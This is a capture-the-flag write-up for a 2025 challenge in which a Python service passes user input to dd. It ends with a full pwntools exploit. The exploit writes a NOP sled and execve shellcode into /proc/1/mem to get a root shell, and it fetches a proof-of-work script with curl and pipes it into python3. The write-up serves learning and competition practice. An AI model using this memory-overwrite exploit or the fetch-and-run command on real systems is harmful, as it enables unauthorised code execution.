../datadefinition

Data_Definition

The Handout

Let’s begin by looking at the given files, chall.py, Dockerfile, and nsjail.cfg:

chall.py

# Copyright 2025 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import subprocess
import sys


def main():
    print('Do you like dd? It is my favorite old-style tool :D\n')
    line = input('  > What is your favorite dd line?: ').encode()
    user_input = input('  > Any input to go with it?: ').encode()
    print('I like it! Let\'s give it a go!')
    res = subprocess.run(['dd'] + line.split(), input=user_input,
        capture_output=True)
    print(res.stdout.decode('utf-8'))
    print(res.stderr.decode('utf-8'))
    print('It was fun, bye!')


if __name__ == '__main__':
    main()

The python script chall.py

Dockerfile

# Copyright 2025 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
FROM ubuntu:24.04 as chroot

# ubuntu24 includes the ubuntu user by default
RUN /usr/sbin/userdel -r ubuntu && /usr/sbin/useradd --no-create-home -u 1000 user

RUN apt update && apt install -y python3

COPY fake_flag.txt /home/user/flag
COPY fake_flag.txt /home/user/flag.txt
COPY flag.txt <REDACTED>
COPY chall.py /home/user/

FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f

COPY --from=chroot / /chroot

COPY nsjail.cfg /home/user/

CMD kctf_setup && \
    kctf_drop_privs \
    socat \
      TCP-LISTEN:1337,reuseaddr,fork \
      EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /usr/bin/python3 -u /home/user/chall.py"

From the Dockerfile, we see that the challenge runs as UID 1000, non-root and drops privileges before running chall.py. The python process has PID 1, so we can access - dd’s stdin using /proc/self/0 - python’s memory using /proc/1/mem

nsjail.cfg

# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

# See options available at https://github.com/google/nsjail/blob/master/config.proto

name: "default-nsjail-configuration"
description: "Default nsjail configuration for pwnable-style CTF task."

mode: ONCE
uidmap {inside_id: "0"}
gidmap {inside_id: "0"}
keep_caps: true
rlimit_as_type: HARD
rlimit_cpu_type: HARD
rlimit_nofile_type: HARD
rlimit_nproc_type: HARD
rlimit_fsize_type: HARD
rlimit_fsize: 1024

cwd: "/home/user"

mount: [
  {
    src: "/chroot"
    dst: "/"
    is_bind: true
  },
  {
    dst: "/tmp"
    fstype: "tmpfs"
    rw: true
  },
  {
    dst: "/proc"
    fstype: "proc"
    rw: true
  },
  {
    src: "/etc/resolv.conf"
    dst: "/etc/resolv.conf"
    is_bind: true
  }
]

nsjail.cfg sets the maximum file size to 1KB and gives /proc and /tmp access.

The Solution

Goal: Use dd to overwrite Python’s executable memory with shellcode.

from pwn import *

context.log_level = 'debug'

# Connect to challenge
p = remote('datadefinition.2025.ctfcompetition.com', 1337)

# ============ POW ============
p.recvuntil(b'You can run the solver with:\n    ')
pow_line = p.recvline().decode().strip()
token = pow_line.split()[-1]
print("Wait for POW to be solved...")

# Run: curl script | python3 - solve <token>
cmd = f"curl -sSL https://goo.gle/kctf-pow | python3 - solve {token}"
result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, text=True)
pow_ans = result.stdout.strip()
print("POW answer obtained!")

p.recvuntil(b'Solution? ')
p.sendline(pow_ans.encode())
# ============ POW ============

# Send dd arguments
payload = b'if=/proc/self/fd/0 of=/proc/1/mem bs=1 seek=4325376'
p.sendlineafter(b'  > What is your favorite dd line?: ', payload)

# Craft stdin payload
NOP_SLED_SIZE =0x1100

shellcode = b"\x89\xce\x90\x56\x68\x00\x00\x42\x00\x5f\x6a\x3b\x58\x48\x31\xd2\x90\x0f\x05"

payload = (
    b"/bin/sh\x00"
    + b"\x31\xc9\x90" * NOP_SLED_SIZE
    + b"\x31\xc9"
    + shellcode
)

p.sendlineafter(b'  > Any input to go with it?: ', payload)

p.recvuntil(b"I like it! Let's give it a go!\n")

# Access shell manually
p.interactive()

Now id command reveals we are root user

[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

Just ignore the red herrings…

$ ls
chall.py
flag
flag.txt

$ cat flag
It's not that easy pal... The flag is not here.
You need to get RCE for actual pwnage!

$ cat flag.txt
It's not that easy pal... The flag is not here.
You need to get RCE for actual pwnage!

…and navigate to the real flag!

$ cd /

$ ls
bin
boot
dev
etc
flag_spELRE7Rwc8D3pWkP1Ol0LqFXWAZgr9S.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

$ cat flag_spELRE7Rwc8D3pWkP1Ol0LqFXWAZgr9S.txt
CTF{GoodOlUnixToolsAndReadingSomePhrack}